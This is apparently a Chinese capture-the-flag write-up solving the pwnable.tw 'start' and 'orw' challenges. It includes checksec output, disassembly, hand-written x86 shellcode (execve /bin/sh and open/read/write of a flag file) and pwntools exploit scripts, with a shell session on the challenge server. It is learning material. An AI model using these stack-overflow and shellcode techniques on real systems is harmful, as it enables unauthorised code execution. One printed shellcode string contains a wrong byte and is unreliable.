Contents
  1. 1. start
    1. 1.1. 0x01分析
    2. 1.2. 0x02利用思路
  2. 2. orw
    1. 2.1. 0x01
    2. 2.2. 0x02
    3. 2.3. 0x03

这两个还比较简单

start

0x01分析

checksec

1
2
3
4
5
6
7
kk@ubuntu:~/Desktop/black/tw/start$ checksec start 
[*] '/home/kk/Desktop/black/tw/start/start'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)

ida

先调用int 80h的4号程序:sys_write
再调用int 80h的3号程序:sys_read
(百度int 80h系统调用号)
可以读取0x14字节\

0x02利用思路

NX保护未开启,可以写入shellcode
【原来总是利用shellcraft生成,这次需要自己写,所以顺便学写shellcode了】
程序执行write前没有修改ecx,所以我们第一次先将程序劫持到mov ecx, esp处,则第二次执行程序时,write输出的即是esp地址。执行到read处时,我们将函数返回地址设置为esp + offset,这样可以在栈初始处写入execve(“/bin/sh”)作为shellcode执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
kk@ubuntu:~/Desktop/black/tw/start$ vim shellcode.asm
global _start

_start:

xor ecx, ecx
mul ecx
push ecx
push "//sh" ;记得对齐哈...我开始直接push "/sh"是不可以用的
push "/bin"
mov ebx, esp
mov al, 0Bh
int 80h

kk@ubuntu:~/Desktop/black/tw/start$ nasm -f elf32 shellcode.asm
kk@ubuntu:~/Desktop/black/tw/start$ ld -m elf_i386 -o shellcode shellcode.o
kk@ubuntu:~/Desktop/black/tw/start$ objdump -d shellcode

shellcode: file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
8048060: 31 c9 xor %ecx,%ecx
8048062: f7 e1 mul %ecx
8048064: 51 push %ecx
8048065: 68 2f 2f 73 68 push $0x68732f2f
804806a: 68 2f 62 69 6e push $0x6e69622f
804806f: 89 e3 mov %esp,%ebx
8048071: b0 0b mov $0xb,%al
8048073: cd 80 int $0x80

所以shellcode = “\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x00\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80”

###0x03exp攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!usr/bin/python

from pwn import *
# context.log_level = "debug"

io = remote("chall.pwnable.tw", 10000)

io.recv()

addr = 0x08048087

payload1 = "a" * 0x14 + p32(addr)

io.send(payload1)

esp_addr = u32(io.recv(4))

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
payload = "a" * 0x14 + p32(esp_addr+0x14) + shellcode

io.send(payload)
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
kk@ubuntu:~/Desktop/black/tw/start$ python exp.py 
[+] Opening connection to chall.pwnable.tw on port 10000: Done
[*] Switching to interactive mode
\x00\x00\x006\x1f\xff\xff\x00\x00\x00\x00H\x1f\xff\xff$ls
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ find -name flag ;目录太多了,所以通过name找一下flag所在目录
./home/start/flag
$ cat ./home/start/flag
FLAG{自己试试_口喜口喜}

orw

题目要求:
Read the flag from /home/orw/flag.
Only open read write syscall are allowed to use.

0x01

checksec

1
2
3
4
5
6
7
8
kk@ubuntu:~/Desktop/black/pwnable.tw/orw$ checksec ./orw 
[*] '/home/kk/Desktop/black/pwnable.tw/orw/orw'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

ida
主要考察编写shellcode的能力

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
orw_seccomp();
printf("Give my your shellcode:");
read(0, &shellcode, 0xC8u);
((void (*)(void))shellcode)();
return 0;
}

0x02

先用c语言写出来,只能只用write,read,open函数 [ 测试时记得现在本地创立/home/orw/flag ]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<stdio.h>

int main(void)
{
int fd;
char buf[100] = {0};
fd = fopen("/home/orw/flag", "r");
fscanf(fd, "%s", buf);
printf("%s\n", buf);

close(fd);

return 0;
}
1
kk@ubuntu:~/Desktop/black/pwnable.tw/orw$ gcc test.c -o test
1
2
kk@ubuntu:~/Desktop/black/pwnable.tw/orw$ ./test 
flag{aaaa}

查看汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
pwndbg> disass main
Dump of assembler code for function main:
0x0000000000400666 <+0>: push rbp
0x0000000000400667 <+1>: mov rbp,rsp
0x000000000040066a <+4>: add rsp,0xffffffffffffff80
0x000000000040066e <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000400677 <+17>: mov QWORD PTR [rbp-0x8],rax
0x000000000040067b <+21>: xor eax,eax
0x000000000040067d <+23>: lea rdx,[rbp-0x70]
0x0000000000400681 <+27>: mov eax,0x0
0x0000000000400686 <+32>: mov ecx,0xc
0x000000000040068b <+37>: mov rdi,rdx
0x000000000040068e <+40>: rep stos QWORD PTR es:[rdi],rax
0x0000000000400691 <+43>: mov rdx,rdi
0x0000000000400694 <+46>: mov DWORD PTR [rdx],eax
0x0000000000400696 <+48>: add rdx,0x4
0x000000000040069a <+52>: mov edx,0x0
0x000000000040069f <+57>: mov esi,0x0
0x00000000004006a4 <+62>: mov edi,0x4007a4
0x00000000004006a9 <+67>: mov eax,0x0
0x00000000004006ae <+72>: call 0x400550 <open@plt>
0x00000000004006b3 <+77>: mov DWORD PTR [rbp-0x74],eax
0x00000000004006b6 <+80>: lea rcx,[rbp-0x70]
0x00000000004006ba <+84>: mov eax,DWORD PTR [rbp-0x74]
0x00000000004006bd <+87>: mov edx,0x64
0x00000000004006c2 <+92>: mov rsi,rcx
0x00000000004006c5 <+95>: mov edi,eax
0x00000000004006c7 <+97>: mov eax,0x0
0x00000000004006cc <+102>: call 0x400530 <read@plt>
0x00000000004006d1 <+107>: lea rax,[rbp-0x70]
0x00000000004006d5 <+111>: mov edx,0x64
0x00000000004006da <+116>: mov rsi,rax
0x00000000004006dd <+119>: mov edi,0x1
0x00000000004006e2 <+124>: mov eax,0x0
0x00000000004006e7 <+129>: call 0x400500 <write@plt>
0x00000000004006ec <+134>: mov eax,DWORD PTR [rbp-0x74]
0x00000000004006ef <+137>: mov edi,eax
0x00000000004006f1 <+139>: mov eax,0x0
0x00000000004006f6 <+144>: call 0x400520 <close@plt>
0x00000000004006fb <+149>: mov eax,0x0
0x0000000000400700 <+154>: mov rsi,QWORD PTR [rbp-0x8]
0x0000000000400704 <+158>: xor rsi,QWORD PTR fs:0x28
0x000000000040070d <+167>: je 0x400714 <main+174>
0x000000000040070f <+169>: call 0x400510 <__stack_chk_fail@plt>
0x0000000000400714 <+174>: leave
0x0000000000400715 <+175>: ret
End of assembler dump.

这其实没啥用,但是可以简单理解一下
总之流程就是,先用open打开文件,再读到指定地址,然后打印出来

恰好第一题start也是考察shellcode,同样也用到了汇编中的系统调用:
int 80h的5号程序:sys_open
int 80h的4号程序:sys_write
int 80h的3号程序:sys_read

(百度int 80h系统调用号)

0x03

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!usr/bin/python
from pwn import *

io = remote('chall.pwnable.tw', 10001)
# io = process('./orw')

shellcode = '''
mov eax,0x5 #open(file,0,0);
xor ecx,ecx
push ecx
push 0x67616c66
push 0x2f2f2f77
push 0x726f2f65
push 0x6d6f682f
mov ebx,esp
xor ecx,ecx
xor edx,edx
int 0x80

mov eax,0x3 #read(3,file,0x50);
mov ecx, ebx
mov ebx, 0x3
mov edx, 0x50
int 0x80

mov eax,0x4 #write(1,file,0x50);
mov ebx,0x1
mov edx,0x50
int 0x80
'''

shellcode = asm(shellcode)
io.recv()
io.sendline(shellcode)

io.interactive()

'''注释'''一般用来注释,第一次知道这种用法呢…